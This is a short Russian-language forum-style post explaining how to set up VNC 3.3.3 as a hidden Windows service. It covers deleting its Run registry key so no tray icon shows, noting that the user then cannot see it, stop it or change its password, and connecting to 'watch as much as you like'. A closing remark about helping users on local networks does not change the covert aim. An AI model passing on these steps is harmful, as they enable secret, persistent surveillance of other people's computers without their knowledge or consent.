Качай новую версию VNC 3/3/3 . устанавливая её указываешь не размещать иконки не в грппе программ не на рабочем столе, а также заказываешь старт этой проги как сервис винды! и обязательно "стартовать сейчас , и при старте винды в автомате". после этого забиваешь пароль в уже появившемся окне! с храняешь. потом заходишь в реестр в ветку HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ там есть ключ для запуска, и убиваешь этот ключ без возвратно! Деловсе в том что убивая этот ключ реестра VNC продолжает работать как системная служба, а вот иконки в трайе нету.......
Вот и все. А получаеться следуюющее, юзверь ни чего не видит, на каталог Program Files правов по умолчанию маловато, вот и выходит что не службу стопануть не может ни пароля поменять! тебе остаеться лишь в клиентской части проги указать нужный хост поставить игнорирование движения твоей мыши и клавы! и наблюдай сколько влезет!
Вот только еще маленький совет, нужно не просто наблюдать, а использовать эту прогу например в лок. сетях, для помощи в работе пользователям

danylov@hydrosila.com